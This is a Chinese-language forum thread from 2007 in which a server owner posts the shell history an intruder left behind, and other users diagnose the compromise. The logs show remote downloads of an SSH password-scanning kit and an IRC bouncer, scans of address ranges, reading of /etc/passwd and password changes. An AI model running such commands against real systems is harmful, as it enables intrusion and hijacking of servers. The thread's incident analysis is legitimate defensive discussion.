被攻擊了，哈哈，遇到一個(gè)好人

原來如此

244  w
  245  passwd
  246  ps x
  247  cd /home
  248  ls -a
  249  cd /var
  250  ls -a
  251  cd /var/tmp
  252  ls -a
  253  wget
  254  id
  255  uname -a
  256  cat /proc/cpuinfo
  257  wget www.geocities.com/webhackro/unixcod.tar.gz
  258  tar xzvf unixcod.tar.gz
  259  rm -rf unixcod.tar.gz
  260  cd unixcod
  261  ./unix 210.56
  262  ./unix 210.57
  263  ./unix 210.58
  264  cd ..
  265  ls -a
  266  wget al-ex.ws43.com/psybnc/psybnc-linux.tgz
  267  tar xzvf psybnc-linux.tgz
  268  rm -rf psybnc-linux.tgz
  269  cd psybnc
  270  ./psybnc
  271  cd /var/tmp
  272  ls -a
  273  cd psybnc
  274  pico psybnc.conf
  275  nano psybnc.conf
  276  cd ..
  277  tar -czvf psybnc
  278  tar
  279  tar --help
  280  ls -a
  281  tar -czvf psybnc
  282  tar -cxzvf psybnc
  283  tar -czvf psybnc.tgz psybnc
  284  ls -a
  285  ftp tomygunxxx.go.ro
  286  ftp 70.96.185.13
  287  exit
  288  w
  289  cd /var/tmp
  290  ls -a
  291  cd psybnc
  292  pico psybnc.conf
  293  nano psybnc.conf
  294  ./psybnc

第二場(chǎng)雪

這人不好....

unixcod好象是個(gè)掃描ssh口令的工具包

你還是檢查下系統(tǒng)吧

yoolive

此人使用的hack工具比較新，我正在研究 http://infected.atlasconstructionrestoration.com/ 這里好像是這次使用工具的源頭，使用方法目前沒公開，IRC黑客頻道應(yīng)該有交流，過幾天研究明白了，給你消息。呵呵，不過肯定的一點(diǎn)是你的機(jī)器已經(jīng)是成為發(fā)動(dòng)DDOS攻擊的僵尸了。

以下是流氓黑客留下的,看看他在我的機(jī)器上留下了什么.

uname -a
w
passwd
cd /var/tmp
ls -a
cd " "
ls -a
ps x
last
cd /var/tmp
cd " "
mkdir " "
ls -a
cat /proc/cpuinfo
cd /var/tmp
cd " "
wget chicka.as.ro/ch.jpg
ls -a
rm -rf ch.jpg
wget bazilutzu.ueuo.com/usa.tar
w
uptime
ls -all
ps -aux
cat /etc/passd
cat /etc/passwd
passwd netdump
passwd
passwd postgres
passwd tom.zhang
passwd ggh
cd /var/tmp
ls -a
cd /tmp
ls -a
cd /dev/shm
ls -a
cd /home
ls -a
cd zzz
ls -a
pico .eggcups
nano .eggcups
nano cd /dev/shm
cd /dev/shm
wget www12.asphost4free.com/hackroot/psybnc-linux.tgz
tar -xzvf psybnc-linux.tgz
cd psybnc-linux
chmdo +x *
chmod +x *
ls -a
cd psybnc
chmod +x *
ls -a
pico psybnc.conf
nano psybnc.conf
./psybnc
w
ps x
w
last -u root
cat /proc/cpuinfo

[ 本帖最后由 yoolive 于 2007-10-26 12:53 編輯 ]

kingp999

并非好人
當(dāng)心你的服務(wù)器已經(jīng)被別人搞定
UNIXCOD是一個(gè)密碼破解工具
里面有一個(gè)密碼字典

hongling1122

貌似入侵……有問題�。。。�！

fsm11

原帖由 yoolive 于 2007-10-26 12:52 發(fā)表
此人使用的hack工具比較新，我正在研究 http://infected.atlasconstructionrestoration.com/ 這里好像是這次使用工具的源頭，使用方法目前沒公開，IRC黑客頻道應(yīng)該有交流，過幾天研究明白了，給你消息。呵呵，不 ...

   這個(gè)只是利用你的機(jī)器作為一個(gè)跳板來攻擊其他的機(jī)器。

jerrymy

新手還不是很明白。只知道DDOS

mb

重安裝unixcod.tar.gz上來看像是弱口令進(jìn)來的

joyaid

沒擦屁股也沒帶傘的scriptkids

~wind~

哈哈,有點(diǎn)意思,學(xué)習(xí)中